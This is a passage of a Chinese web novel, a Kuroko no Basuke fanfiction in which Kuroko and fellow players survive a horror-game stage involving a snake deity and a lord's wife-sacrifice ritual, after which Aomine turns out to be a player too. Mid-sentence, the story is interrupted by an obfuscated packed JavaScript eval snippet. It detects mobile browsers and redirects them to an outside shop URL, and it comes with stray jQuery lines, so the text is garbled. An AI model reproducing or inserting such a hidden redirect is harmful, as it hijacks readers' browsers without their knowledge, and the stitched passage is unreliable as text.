“简单来说,长尾先祖的爱情故事传到当时执政者耳中,被召见时,长尾先祖带了礼物过去,是一尊小佛像和一些相关资料。”
黑子想到被撕掉了的那几页内容,难道上边提到这件事,还有小佛像的画像?
“渡边觉得找到佛像,有可能进入隐藏任务,恰好,她在大小姐那边发现了一间密室,邀请我晚上一起去密室调查。我们在密室里看到一尊小佛像,就这样。”
说到后边,山下语速很快,带着浓浓的惋惜,“全程都是渡边带路,我不熟悉路线,而且,我也用了特·殊·道·具才能进入大小姐的住所不被惩罚。”
听到某个词被加了重音,黑子理解为这是暗示自己这个“老玩家”也用技能和道具去大小姐那。
他没说出山下想听的话,也清楚山下隐瞒了他们在密室里的见闻。这种隐瞒在他的接受范围内,“离开密室后,你又去了供养塔。”
在山下发火前,黑子解释,“这两天我们在主院打扫,注意到那把锁有被打开的痕迹。”
山下噎住,随后不情愿的说,“我去过,按照渡边提供的情报,只需要带点祭品,装作是香客信众之类的,应该就能进入供养塔。在密室里我们没能触发隐藏任务,所以去供养塔里看看。如果不是她把特殊道具用完了,不能再违背‘女性不得进入主院’的规则,她本来也会去。”
“你说的祭品是?”黑子谨慎的询问。
“从厨房里拿的东西,只需要说想吃夜宵,阿菊会提供一些水果点心。”
黑子沉默。
这种沉默让山下不安,紧接着想到被转移的话题。
“你还没说,在你看来我这是什么情况?”
“山下先生不了解自己的身体?”
“就是了解才……”想到什么,山下脸色白了些,“体温越来越低,眼瞳偶尔像是竖起来了,意识偶尔失控……我直说了,我觉得那道蛇影会降临在我身上,但我完全不知道原因!”
“山下先生,”黑子眺望大门的方向,“其实从进入这栋古宅起,我们就是‘那位’的信众了。”
他简单解释了“主动进入”的含义,证据则是吃到了被供奉过的饭菜。
“你应该明白,在副本里当信众不是一件好事。不出意外,在明晚老爷招待客人的晚宴里,信众们会迎来死亡规则,陆续出事。应对方法之一便是这几日尽可能少吃被供奉过的食物,减少‘信仰’。还有一种应对方式,找到‘那位’的弱点,为明日的晚宴保全自己增加胜算。”
黑子说得委婉,但山下这会理解能力急剧增加,听出这是在说他和渡边因为半吊子老玩家心态,急吼吼的找死亡规则、想独占隐藏任务,导致提前触碰了死亡规则。最终一个失踪,一个被盯上。
男人胸口剧烈起伏,双眼发红,瞪着黑子。
黑子脚尖朝外转,“我们已经是信众,不存在带着祭品可以进入供养塔这个说法。”
“供养塔打开了,这是证据!”山下强调,这话更像是在说服他自己。
“因为有祭品。”
山下:“……”
在山下控制不住情绪时,黑子已经拔腿跑了。
·
下午,黑子等人又去了有特殊规则之外的地方转了一圈。
阿菊做好晚饭后,他们找理由将人堵在厨房,一直拖延到用餐时间。
入夜后,黑子等来【幻影】冷却时间结束的时刻。
“小梅,真是不好意思,这么晚还来打扰你。”
穿着白裙的女孩站在小梅房间外,表情羞涩。
“客人,您的衣服又破了?”
小梅语气是恰到好处的疑惑,目光却很犀利的打量着高桥。下午那会,高桥裙子破了,希望她能补补,在她房间里待了一段时间。
“不是我,是我弟弟,”高桥赶紧转身,将戴着帽子的少年推出来,“他喜欢这儿的景致,一时沉迷没注意看路,摔了一跤,你看这儿,还有这儿,都划破了,所以能不能请你帮忙?”
越前摘下帽子,朝小梅微微点头,“辛苦您了。”
这在规则之内,小梅没法拒绝。
她有些为难的看着越前,“这么晚了,我不好让他进来。”
“那我们换间屋子,”高桥立马说,“刚好有些饿了,阿菊答应给我们做些夜宵。”
小梅带着针线跟着两人出门。
她前脚离开,后脚黑子进入房间。
哪怕小梅就是大小姐,但这不是副本规定的“大小姐的房间”,无需两位老玩家口中的特殊道具,他进来不算违反规则。
回忆着高桥提到过的几个重点,黑子开始在墙壁上摸索,连续试验了三个,终于找到机关。
看到被打开的门,黑子这才发动技能,踏入通道,没一会,一间密室出现在眼前。
如果山下在这,肯定会震惊,因为黑子进入的密室,就是他们昨晚通过大小姐房间进入的密室。
两位老玩家缺乏证据,但黑子等人这边已经查到足够多的情报。
小梅就是大小姐,大小姐就是小梅。和老爷管家那边略有不同,小梅扮演的角色主要有两个任务:负责供奉食物、在玩家违反规则时成为“那位”现身的工具人。
之所以多个大小姐的身份,根据两日来玩家的经历,目的也很清晰了:男玩家想进入这栋楼调查线索,会违反规则,被“那位”带走;女玩家可以进入,却会面临其他陷阱。
“那位”是个贪婪的家伙。
还未踏入密室就闻到檀香味,黑子赶紧戴上早就准备好的自制口罩。
很快,视野出现一片片红光,是那种偏暗的,像是血液一样的红光,这让室内一切景色都显得阴森诡谲。
如果一群人偶站在红光下,静静注视着来客呢?
和恐怖片没什么区别,黑子在心里这样评价的。
从入口起,就有两排人偶,拱卫着一条不算宽敞的道路。道路尽头则是一个神龛,龛中有一个一尊小小的不知道材质的雕像。
黑子不能将之称呼为佛,因为没有哪个佛会给人这么邪/恶的感觉。
他用力掐着掌心,从队伍末端朝前走,眼睛不停左右转,脸色越来越凝重。
和老爷书房里穿着和服的人偶不同,这些人偶穿的都是现代衣服,有的还戴着眼镜。
是玩家。
是违反规则被蛇影带走的玩家。
靠近队伍末端的人偶比较老旧,已经出现脱色、裂痕,靠近雕像的人偶则色彩鲜艳。
这种预示让黑子绷紧了唇角。
很快,他站在一个熟悉的人偶面前,是穿着套装留着齐肩黑发的渡边女士。
她黑黑的眼睛注视着黑子,脸上出现人偶才会有的圆形红晕,咧嘴笑着。这绝不是被袭击时会有的表情。
黑子并不敢想象渡边被蛇影吞噬后又遭遇了些什么。
他绕后,在人偶后方捡到一些散落的纸张和一个蓝色布块包着的东西。扫了眼纸上的内容匆匆塞到衣服里,他打开布块。
是更加迷你的雕像!
黑子咽口水,扭头去看神龛,距离近了才发现,昏暗的光线下,雕像两侧蹲着一排迷你雕像,其中出现两个缺口。
渡边和山下各拿走了一个。
犹豫了下,黑子将迷你雕像放回去。
看了看【幻影】剩余的时间,黑子有些急切。
不对,哪里不对。
密室里呈现的景象只能说明遇害的玩家的下落,并不能解释当年执政者给长尾长生赐爵的理由,也不能解释管家/老爷变年轻的原因,更不能解释花园里的七位遇害者。
等等,黑子想起来,昨晚渡边和山下是从大小姐那边进来密室。大小姐那边总不可能是和小梅房间共用一个入口。
还有一个入口。
在哪里。
在哪里。
找到了!
找到另一个入口,黑子没有借此进入大小姐房间的打算。他从这个入口,也就是靠近神龛的地方,再沿着那条被拱卫的道路走了一遍,脚掌落地,接近最初入口时,脑袋一阵晕眩,身体也变得轻飘飘,像是灵魂出窍。
雾气。
黑子发现自己的意识脱离身体飞起来,飞到古宅的上方,看到宅子外浓浓的雾气。
风吹来,吹散了雾气,他看到……看到七百年前的景象。
原来是这样。
·
黑子等人的房间,四人围成一圈。
黑子:“玩家需要发现小梅和大小姐为同一人,从两个入口各走一次才能触发幻境。”
黑子将被撕掉的几张纸铺开。
“根据我看到的场景,可以重新翻译这段被美化的记载。七百年前,生病的是长尾长生本人,他遇到‘那位’,发现献祭妻子可以换取康健,直接动手了。百年后,他不甘心死去,再次献祭一名妻子……一共是七名受害者。我看到七次献祭仪式,最近的一次,那位遇害者和白日里见到的那位面容一样。这就是长尾长生与妻子的七世情缘的秘密。”
【恭喜玩家完成隐藏任务,奖励会在通关后统一发放。】
四人脑海中响起同一道声音,但大家的情绪没有想象中那么高兴。
“哪怕是故事,这个故事也够讽刺的。”高桥冷笑。
“杀害了七名无辜的人就直说,居然用爱情传说包装,”田中嫌弃脸,“太恶心了。”
“这是见到那些场景才能翻译的内容,如果只根据上边的文字,”越前恢复得很快,他指了指其中一张纸,“会误会‘那位’可以满足任何愿望吧,这就是渡边和山下带走迷你佛像的原因,没想到成了送命符。”
“应该是这样,”黑子点头,“如果不是担心违反规则,昨晚,渡边女士应该也想和山下先生一起去供养塔。他们想许愿。”
“这个献祭仪式似乎效果越来越差,”黑子回忆,“第一次长尾长生恢复健康,之后每次,看上去的年龄都往后推移。大小姐,不,是小梅,应该是他准备的下一个受害者。”
高桥恍然:“难怪大小姐的发型和之前看到的那位死者一样。”
“山下心不诚,居然隐瞒了这么多。”田中评价。
“我也隐瞒了一些线索,不相信彼此,我们都留有后手,很正常,”黑子询问,“田中先生,你那边情况如何?如果今晚山下先生从主院拿到非常关键的情报,明天白天我们没法从主院那边查到更多,我想用这个情报和他交换。”
“你猜对了,”今晚一直密切盯着山下、管家以及主院的田中竖起大拇指,“山下真去了主院,去哪找了些什么我不清楚,但他很激动的跑出来。怀里藏了……呃,应该是一幅画吧。那幅画应该就是能对付‘那位’的东西?”
“我不能百分百保证,老爷没被附身,肯定不仅仅是既得利益者的缘故。”
“我偏向老爷有克制的办法,”越前说出自己的想法,“证据是,‘那位’不是自由出现,出现的方法是附身和蛇影,而不是真身。大胆一点的想,老爷说不定把‘那位’的真身封印在主院呢?供养塔就是真身,主动进入就是将自己视做祭品。老爷依赖‘那位’的能力,担心失去长生,又害怕‘那位’连他一起吞噬。”
四人你一言我一语,拼凑目前找到的所有线索,再发挥想象。
“简单来说,这个副本的通关路线是我们花费三天发现自己是信众,用各种方式减少‘信仰’,最好找到克制‘那位’的办法,从第三晚的晚宴上活下来。”
高桥总结,“如果想多拿奖励,完成隐藏任务,就需要冒险探访密室,挖掘老爷长生的秘密。只通关相当于会得罪‘那位’,完成隐藏任务,则是连老爷一起得罪。所以,这个副本的BOSS是‘那位’和老爷。”
理清了任务、规则,又掌握不少情报,提前完成隐藏任务,四人情绪也好了一些,没再陷入到渡边失踪山下标记的阴霾中。
他们新人团结合作,也能走到这一步。
黑子眼神柔和的看着其他三人,“我觉得,新手关遇到大家是一件很幸运的事情。”
“我也这么觉得,哈哈哈。”田中大大咧咧道。
“黑子君,你突然这么直白,我都有些不好意思了。”高桥笑道。
“黑子前辈一直很直白。”这么说的少年又将帽子压低了一些。
深夜。
田中翻来覆去睡不着。
对味了,这就是平时加完班后的睡眠状态。
为什么偏偏是今天?
他不理解。
“田中先生?”
睡在最中间的黑子从被子里钻出毛茸茸的脑袋。
“啊,抱歉,吵到你了。”
“没有,我没有睡着。”
“我也是。”睡在最里边的越前主动开口。
“到底怎么回事?”都没睡着,田中也没顾忌,翻身坐起,扒拉着发际线,“昨天睡得那么沉,今天又睡不着,我们没喝咖啡啊,而且咖啡对我没用了。”
这话同时点醒了黑子和越前。
“和昨天的区别……”黑子望向越前,“我们只吃了一餐被供奉过的食物。”
“如果是这样,今晚肯定会发生些什么。”越前笃定。
顿了一秒,越前微妙的看着黑子的头发,“没睡着,前辈的头发还是这么乱。”
“天生的。”黑子一本正经。
越前不太信。
只有田中在为“今晚肯定会发生些什么”战战兢兢。
“会发生什么呢?”他一直紧张的盯着房门。
今夜的月亮依旧明亮,门口出现一道影子时,他第一时间发现了。
“蛇、蛇影?”
“是人影。”
黑子按住开始像爬行动物的田中,“嘘。”
越前也凑过来,三人像动物一样挤在一起。
“黑子,我有事和你商量。”
是山下!
田中瞪大眼,声音本能的压得很低,“要开门吗?”
黑子摇头。
越前撇嘴,“那人什么时候用过这么温和的语气?”
田中瞬间清醒。
对啊,山下连陷入危险黑子主动过去交易的时候脾气都很差,怎么可能在主院那儿拿到线索后,语气这么温柔的过来交涉?
“那、那是谁?”
黑子和越前摇头。
他们也是第一次遇到这种情况。
门外的影子开始敲门,越来越急促。
没一会,敲门声变成了二重奏。
黑子想到什么,赶紧走到墙边,贴耳听着。
“高桥,是我,我回来了,帮忙开下门吧。”
是渡边的声音!
黑子庆幸之前说了渡边变成人偶的事。当时他犹豫过,担心给大家心理压力,又觉得副本危机重重,掌握足够多的情报更安全。
隔壁房间,高桥躲在被子里,只掀开一条缝盯着门口看。已经知道渡边的情况,她没傻到去开门。
只是再次听到熟悉的声音,难免有些悲伤,又有些无话可说。
但凡渡边姐没想过独占藏书阁和大小姐那边的情报,也许……她不想去说无法挽回的事,又很清楚真正的罪魁祸首是这个游戏。
任凭外边的“渡边”如何说,如何敲门,高桥都没开门。伴随着敲门声,她入睡了。
“咚咚咚!”
“高桥女士。”
高桥惊醒,确定是白天,她才小心翼翼开了条缝,看到黑子三人站在门口,这才把门打开。
“抱歉,有心理阴影了。”
“没关系,可以理解。”黑子说,又去看隔壁。
山下恰好出来,看到四人聚在一起,表情复杂。
“昨晚,山下先生有听到敲门声吗?”
“听到你们这边的声音了,一听就是假的。”
“没人敲山下先生的门吗?”
山下表情变得难看,转身就走,“不要你们管!”
他走远后,黑子说,“吃了被供奉的饭菜我们陷入沉睡,听不到敲门声,也会增加对那位的‘信仰’。反过来……如果昨晚我们出去,有风险,同时也能查到对‘那位’不利的情报。”
“别了,还是不冒险了。”田中赶紧说。
“现在我们应该集中精力调查主院那边,如果找不到线索,就要考虑交易了。”高桥也说。
“不,”越前抬起帽檐,“现在应该去狙击早餐。”
“啊。”x3。
早饭有味道。
上午请求打扫主院,被拒绝。
中饭有味道。
下午请求打扫主院,被拒绝。
黑子找山下交易。
“我已经知道如何完成隐藏任务了。”
山下眯起眼,“你昨晚去过密室?”
“要交易么,我们想知道你从主院那边带出了什么。”
我们?
山下越过这个并不高大的少年,望向站在不远处,看似在聊天,其实显然是在警戒他的三人。
“你们关系可真好,”他阴阳怪气了一句,随后不知道想到什么,“我直接给你看,自己判断。”
这有些出乎黑子的意料。他以为山下会和昨天那样说一半藏一半。黑子拿到一幅画,或者说一卷画,不宽,但比较长,画着好些图像,“我明白了。”
他说了所谓七世情缘的秘密,这意味着也会揭露老爷的真面目。
“原来是这样,”山下冷笑,“难怪这东西在书房,如果是这样,供养塔也在主院意味着‘那位’被老爷限制了活动范围。他们是互相合作和提防的关系。”
“那个迷你佛像,”想了想,黑子还是说,“最好还是还回去,如果你……”
“不用,我已经是祭品了。”
山下眼中有情绪浮浮沉沉,像是做出什么决定。
“你们也没找到解除这种身份的办法,解除不了,解除不了……”山下重复了几遍,“我没有技能,你的技能不管用……解除不了。”
黑子一时之间也不知道说些什么。
他们四人只要成功度过晚宴,等到第二天的到来,就可以通关。山下多了一层障碍,他必须在副本结束前,避免被“那位”占据,才能通关。
而今晚,“那位”必然会在小梅和山下之间二选一降临。
玩家们迎来了月圆之夜。
阿菊给他们换了一个餐厅,一抬头就可以看到飞舞的樱花和皎洁的圆月。气氛很好,可看到摆在小桌上的食物,大家的表情就有些僵硬。
这群食物全都是用庙里供奉的方式摆的,方向朝着主座。
老爷坐在距离主座最近的位置。他是一个银发老人,戴着遮住上半张脸的面具,穿着面料一看就很贵的七宝纹和服,一旁还放着一根精致的拐杖。
虽然但是……这一看就是管家啊,戴面具不是自欺欺人吗?
老爷出现了,管家自然不在。
大小姐还没来,小梅自然也没来。
因此全程忙碌的只有阿菊。
黑子几人都有些忐忑,无意识的摸了摸怀里的东西。那里放着从花园摘来的花,还有很小一壶酒。
山下从主院带出的那卷画,其实画的是供奉仪轨上的忌讳。有一部分和现实中供佛类似,一部分大概是副本专属。这卷画被老爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332779|199184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非常珍重的锁起来了。只在书房来去匆匆的黑子没发现。
不可以用从坟墓摘来的花,不可以用酒……时间有限,黑子等人只找到花和酒。
不知道会不会有用,不知道“那位”会如何出招。
在这种忐忑的心情中,时间一点点流逝。
大小姐还没来。
山下也没出现。
黑子皱眉,和坐在自己左侧的越前交换一个眼神。
之前两日晚饭时间是六点,但今晚不一样,阿菊特地通知过,晚宴定在八点,客人们会和老爷大小姐一起赏月。
是他们早到了,不对,准确来说是老爷早到了。现在还不到八点,山下不算迟到。
当然,如果山下自认为成为“那位”的祭品,破罐子破摔要迟到甚至不来,黑子也没办法。
黑子隐晦的看了眼面色严肃的老爷。
为了一己之私,害死七位无辜的女性,靠“那位”的能力长生,又限制“那位”的活动范围。
人类有时候比鬼神更可怕。
“轰隆隆!”
“什么声音?”
本是惊弓之鸟的田中听到些许动静,忍不住开始张望。
声音逐渐大起来,其他人也往外看。
老爷的反应最大,他直接站起来,手不停哆嗦。
这个反应?
黑子立马起身,走到廊下,目光迅速定在主院的方向。
“供养塔……不见了?”
话音才落,一只巨大的蛇头探出主院的院墙。它脸上还有石块,正在逐渐剥落。
原来供养塔真是“那位”的真身,并且活过来了。
黑子有点懵。
“怎么会?”
老爷不顾形象的冲出来,看到这一幕后,用拐杖大力敲打地面,“糊涂啊!客人你糊涂啊,为什么要被蛊惑?”
“说的应该是山下。”
同样出来的越前低声道:“应该是山下做了些什么,把‘那位’放出来了。”
“这是能做到的事?”田中震惊,“‘那位’不是被限制得死死的?”
“可能发生了一些我们不知道的事。被选中后,山下也许和‘那位’有别的交流方式,”高桥努力冷静,声音却逐渐崩溃,“现在问题是,山下自爆,放出‘那位’,而那位,那条蛇冲着我们来了啊!”
一条巨大黑蛇摧毁着一路的建筑物,直冲过来。
这完全在玩家的预料之外,他们怀里的花和酒真的还有用吗?
“先躲起来。”
浑身的鸡皮疙瘩都起来了,黑子还是努力让情绪冷静,“我觉得,‘那位’就算要动手,也先对付……”
他暗示的看了眼表情狰狞的老爷一眼。
其他人秒懂,赶紧跑路,遇到端着饭菜一脸茫然的阿菊识,把人也带走了。
黑子等人先躲在餐厅的后方空地,巨蛇需要先和老爷交锋,才能找到他们。
可惜老爷太脆了,才挥舞了几下拐杖,就被巨蛇一口吞了。
黑子等人:“……”所以你当初是怎样成功封印的啊?
“怎么办,现在去哪里?”田中焦急,不停拍脑子,脑子毫无反应。
“副本应该没考虑过‘那位’被放出来的可能吧,这算游戏工作失误,应该会保护我们?”高桥忍不住说。
“据我所知,上级如果做错事都会死不承认,下边的人默认倒霉,顶多事后会有一点点补偿。”工作经验丰富的田中回答她。
高桥:“……”
“阿菊,”黑子问和他们一样瑟瑟发抖的阿菊,“平时老爷除了主院,还会去哪里?”
“除了每个月的十五会开晚宴,”阿菊努力回忆,“老爷一般会在盂兰盆节去长尾社祭拜祖先和夫人。”
“长尾社?”
“就在宅子后方,有一道小门可以直接过去。”阿菊说。
“长尾社也算副本地图?”高桥问。
“可能性很大,否则没必要让阿菊知道。”
越前站起来,“我和阿菊走在前边带路,黑子前辈走中间。”
黑子眨眨眼。
越前转回去。
走到一半,一路“轰隆隆”的巨蛇逼近。
建筑物纷纷倒塌,时不时有些乱石飞过来。
一直掐着手臂的黑子虽然保有思考的能力,但他思考不出对策。
【幻影】的冷却时间已经过了,他可以隐形,但这顶多让他个人暂时避开巨蛇的攻击,帮助不了大家,也没法真的保全自己。
没有积分,系统商城也没开,也没有别的攻击道具。
他缺乏攻击手段,他想要攻击……击球声响起时,黑子还以为是幻听了,抬头一看,恰看到一颗黄色的小球裹挟着雷电,剧烈旋转着,直奔巨蛇。
“轰”的一声,网球砸在巨蛇的身上,巨蛇发出“嘶嘶”声倒下。
除了打出这颗球的越前,其他人都呆住了。
“这是什么?”没见过网球和网球拍的阿菊疑惑。
“网球……能有这样的效果?”高桥怀疑自己的眼睛,“我好像看到雷电了。”
“球和球拍是怎么带进来的?”田中的重点永远歪了。
“是技能。”黑子肯定道。
终于等来技能的越前轻哼了一声,“mada mada dane(还差得远呢)。”
黑子松了口气。
“嗯,我还mada mada dane,接下来拜托你了,越前君。”
帽子少年僵住。
他压低帽子,“……我不是说你。”
“啊,那条蛇又起来了!”田中大叫。
可能是技能等级低,也可能是巨蛇太厉害,越前的网球能造成伤害,但有限。一路跌跌撞撞,几人终于通过古宅后门,进入长尾社。
巨蛇被拦住了,不甘心冲他们咆哮,久久不肯离去。
黑子等人不敢放松警惕,躲在长尾社中,关注着巨蛇的行动,从晚上到早上。
“外边好像没声音……嘶嘶。”田中捂着身上的伤口痛呼。
昨晚他们一路过来,不可避免被飞溅的石头砸到,情况紧急顾不上,现在危机过去,疼痛像是一下子被放大了。
黑子轻轻抖了下,才反应过来这是田中发出的“嘶嘶”声。
“没声音了,看时间,快到九点半……”
话音未落,半透明的面板跳出来,脑海里也多了系统的声音。
【恭喜玩家成功通关,获得500积分,随机掉落一张一星物资卡、一张一星道具卡】
【恭喜玩家完成隐藏任务,获得1000积分,随机掉落一张突破卡,一张二星道具卡】
【系统商城正式开放】
【玩家即将脱离游戏,倒计时00:00:04】
【游戏冷却时间倒计时72:00:00,可提前进入】
【游戏外禁止向非玩家透露游戏任何相关内容】
【玩家每月可申请一张邀请函,邀请成功可获得积分和道具奖励。检查到玩家该月未申请邀请函,是否申请(注:有资质的人类才会被选为玩家)】
【玩家可消耗10万积分申请彻底脱离游戏,积分余额1500】
两个倒计时和禁止透露游戏三行都是刺眼的红色。
等等,只有几秒的时间吗?
黑子有点慌,他还不知道山下的情况,还有小梅……也没有和越前君几人道别。
他慌,越前三人也是如此。
“这么快就要离开了?”
“山下那边还不知道是怎么回事……”
“黑子前辈,出去后……”
又是那种剧烈的失重感,一阵头重脚轻,黑子出现在熟悉的街道。书包和手机静静躺在脚边。
他环顾四周,行人们似乎没看到他突然出现,依旧走在各自的路上。淡黄的灯光下,每个人的面容模糊不清。
模糊?
又是一阵晕眩,黑子朝前一倒。
行人们吓了一跳。
“他晕过去了。”
“这孩子身上怎么这么多伤口。”
“像是被石头砸的,被欺负了?”
“快送去医院。”
·
明亮的房间里,青峰大辉躺在床上,手里举着杂志,无聊的翻阅。听到门外传来桃井五月和妈妈打招呼的声音,他也没在意。
“阿大!”披着粉色长发的女孩冲进来,急切道,“你听我说,哲君生病了!”
“知道,你昨天说过。”
杂志并未被翻动,捏着杂志的手微微用力,青峰用不以为意的语气说,“昨天哲没参加部活,你跑来说他换季感冒请假了,难道今天还没好?最近太努力了吧,真是,为什么要那么努力。”
后半句声音很轻,桃井没听清。
“是黑子阿姨说他感冒了,但他今天还请假,我和他们班班长去看望他,发现他身上有好多伤口。”
桃井有些担心的攥紧手指,“他是不是和人打架啊?可哲君不是会和人打架的性格啊,再说了,被发现会禁赛的……阿大,阿大你有在听我说吗?”
青峰已经听不到幼驯染的声音了,他全部心神被“好多伤口”吸引了。
不会吧?
哈哈,怎么可能那么巧。
那哲怎么会受伤,出现那么多伤口?
不会的,应该不会的。
陷入自己的思绪里,青峰连桃井五月是什么时候离开的都不知道。房间的灯也不知道被谁关了。大风撞击着窗户,发出剧烈的响声,远处天空时不时亮起紫色的光芒,小小的雷声传来。
青峰猛然回神,赶紧去翻自己的手机,打开聊天界面,进入置顶的窗口。
他抖着手打出一行字。
【哲,你是不是被恐怖游戏选中了?】
黑皮少年迟迟没按下发送键。
他最近深陷一个恐怖游戏,游戏阴森诡谲。游戏外,不可以和非玩家交流。这一点他试过,用嘴巴说会发不出声音,在网络上询问,文字也发不出去。
“发不出去……发不出去……一定要发不……”
消息……发出去了。
自窗外而来的光芒照亮少年的脸。
是比那日在雨中河边还要惶恐崩溃的表情。
“轰隆隆!”
他心里跟着响起了雷鸣声。
6. 组队卡
游戏内三日,第一晚被迫沉睡,第二晚没睡好,第三晚没睡,同时白天不停动脑和运动。黑子不清楚别的玩家状况如何,至少他这个每日勉强完成篮球部训练,多打一场比赛就会吐出来的人是真的扛不住。
透支的体力和脑力,迟来的后怕,闭上眼就会清晰回忆起来的一排排人偶和巨蛇。强撑着的那口气散掉后,黑子理所当然的发起了高烧。这种情况持续一天多才好转,在黑子再三坚持下,父母才同意他出院回家。
想过向父母求助,但每次只要想开口,就像有魔法夺走他的声音,无论如何都说不出相关字眼,用文字游戏也不行。
【游戏外禁止向非玩家透露游戏任何相关内容】
打开半透明面板,这行红色的字迹永远那么显眼。
与它一样显眼的还有游戏冷却时间倒计时。
他在游戏里待了三天,通关后可以休息三天,光是生病就耗去了两天。还有一天的时间,完全不知道怎么办。
回忆起回家后查到的新闻,黑子无意识的捏紧了筷子。
“小哲,没胃口?”
迎上桌对面父母温柔饱含关怀的目光,黑子摇头,重新端起碗,眼前却飞快掠过之前看到的报道。
一名二十七岁的OL因长年加班,猝死于办公室。
这是他输入‘渡边、女、年轻、上班族、意外’等信息后,在网络找到的新闻。
渡边女士工作的会社有多次压榨员工的先例,名声并不好,这次有社员猝死,会社直接被炎上,网友们大骂“黑心企业”,闹得比较大,相关报道也比较多。
【游戏内死亡游戏外亦死亡。】
这句话是真的。
山下先生的相关报道难找得多,不如说,他内心期待着没有找到相关报道,对方平安无事。副本最后,游戏系统像是急于把他们玩家扔出去一样,只给了几秒的倒计时,他们没来得及确认山下先生的情况。
然而……在他松了口气,准备退出搜索界面时,软件自动弹出一则新闻……是山下先生的死亡报道:出租车司机疲劳驾驶撞击大树导致身亡。
“……”
心情沉重。
为死者,也为明日会进入新副本的自己,和自己同一个新手关的同伴们。
“小哲,你的鼻子在抗议哦。”
黑子妈妈的话惊醒陷入沉思的黑子。他这才发现,夹了菜的筷子差点怼到鼻子上。
“不用勉强自己,”黑子爸爸也说,“不想吃可以不吃。生病了胃口不好很正常。不过,你个状态不适合去学校,明天还是继续请假吧。”
“妈妈也赞同,”黑子妈妈关心道,“你想念篮球,想快些训练参加地区赛,这没有错,不过强健的体魄是比赛的基础哦。”
不,黑子在心里想,他没有想念篮球,只是想起篮球部的队友们。
明晚要再次进入游戏的话,果然,还是想去篮球部看看大家。
“我感觉还不错,明天可以去学校。”
黑子注视着父母,“明天我会比较早回来。”
“不参加部活吗?”
“会去篮球部看看,然后早点回来。”
以为儿子以明日不训练换取上学,黑子夫妻考虑了下儿子的身体状况,还是同意了。
“如果不舒服,要和老师请假,记得联系爸爸妈妈。”
“嗯,我知道了,爸爸,妈妈。”
“叮咚——”
“叮咚——”
急促的门铃声打断餐厅的温馨。
黑子妈妈疑惑的站起来,朝外走,“奇怪,这个时间,这么大的雨,会是谁呀。”
黑子也觉得奇怪,班长和桃井同学分别代表班级和篮球部来看望过他了,爸爸妈妈的朋友也只在周末时来拜访。
疲惫的大脑让他不太关心来客的身份,只是很快,他听到熟悉的声音。
“阿姨,我想见哲!”
青峰君?
这在黑子一家意料之外。
“你这孩子,这么大的雨怎么不打伞?老公,快点拿毛巾过来!”
黑子爸爸赶紧起身。
黑子也走到玄关,很快看到浑身都淋湿的青峰大辉。外边雨太大,青峰的衣裤都很吸水,这会脚边已经积了一小洼雨水。模样狼狈,青峰却全然不顾,惊慌的望向黑子。
很熟悉的表情。
和那日,他们这对光影分开时一样的表情。
崩溃的,无助的。
黑子忍不住先入为主,难道说青峰君也进入那场恐怖的游戏,刚刚才出来?
为什么会这样?青峰君怎么也会进入那么危险的游戏里?
“青峰君,你……”黑子急切的上前。
“毛巾来了,”黑子爸爸的身影从他身边掠过,“快擦擦。”
白色的毛巾落在青峰头上,黑子妈妈忍不住动手。
黑子看不到对方的表情了,只能听到三人的对话。
“都湿透了,还是去洗洗吧,老公,你找套衣服出来。”
“阿姨,不用……”
“你是运动员,要好好爱惜自己的身体。不是运动员也要爱惜自己的身体,最近换季,很容易感冒。”
“你阿姨说得对,我去给你放热水,拿衣服。”
黑子爸爸急匆匆离开。
黑子妈妈身量不算高,起初是垫着脚尖,被发现后,少年主动弯腰。
“吃晚饭没?”
“还没,阿姨,不用……”
“雨太大了,等雨小了你才能回家吃饭,那都几点了?就在阿姨家吃。”
“……哦。”
黑子默默看着平时很温柔但该强势时也会很强势的妈妈将队友“押”进浴室。
很快,洗完澡换好衣物的青峰坐在黑子家的餐厅,手里被塞了满满一大碗饭,饭上盖着品种丰富的菜肴,表情茫然。
黑子妈妈又起身去煮姜茶,黑子爸爸得知青峰是直接从家里冲出来还没和父母报信,连忙去打电话。
“哲……”青峰只能望向这个家唯一不忙的人,“我……”
“青峰君先吃饭吧。”
黑子举起杯子,“我也要喝药,很忙。”
青峰只能埋头吃饭,等他吃完,已经看不到黑子,顿时一慌。
“哲!”
“小哲端姜茶回房间了,你赶紧去喝吧。”
青峰赶紧上楼。
目送他离开的黑子妈妈露出欣慰的笑容,找到坐在客厅看报纸的黑子爸爸,“前些日子,小哲不怎么提篮球部,也不提青峰君,我还担心他们闹矛盾了。现在看看,两孩子感情还是很好嘛。”
“毕竟‘喜欢篮球的都是好人’,”黑子爸爸半调侃,随后脸色严肃起来,“小哲的伤……”
黑子妈妈没了笑容。
因为儿子的请求,她给老师请假时只说是换季感冒。但医生的诊断是儿子过劳导致免疫能力下降,此外,那些细小的被石块砸出的伤口怎么看都古怪。
“小哲不会和人打架,哪怕出于必须的理由打架,或者被欺负了,也肯定会和我们说……到底是怎么回事?”
夫妻俩疑惑着,担心着,又不打算逼迫儿子说出实情。他们相信自己的孩子有理由,选择尊重,但出于父母对孩子的关心疼爱,又想找出原因,如此矛盾着。
房间内,被黑子妈妈形容感情还很好的两人这会氛围其实有些古怪。
“青峰君,你是说,你在多日前就成为玩家,已经通关了几个副本?”
回忆起系统提到过的邀请函,黑子表情严肃,“是有人‘邀请’你吗?”
“不是,是直接被选中了,”青峰皱着眉头,“被选中的玩家新手关难度偏低,通过邀请函又有资质的玩家新手关难度偏高。哲,你是哪种?”
目光在黑子脸上的创口贴、居家服遮不住的绷带上扫过,青峰控制不住怒火,“是通过邀请函进入的?谁在害你?”
黑子摇头,“我不确定是哪种方式。没见过邀请函的模样,也不记得进入前碰到过什么。如果是通过邀请函,对方也许不是想刻意针对谁,只单单想要奖励。”
青峰脸色还是很难看。视野中的少年清秀白净,纯良乖巧,是该待在色彩明亮世界中的人,结果偏偏进入那个阴气森森,人心难测的游戏里。
“哲,你在游戏里……”
昔日的影状态肉眼可见的不好,关心的话语到了嘴边,却怎么都说不出口。
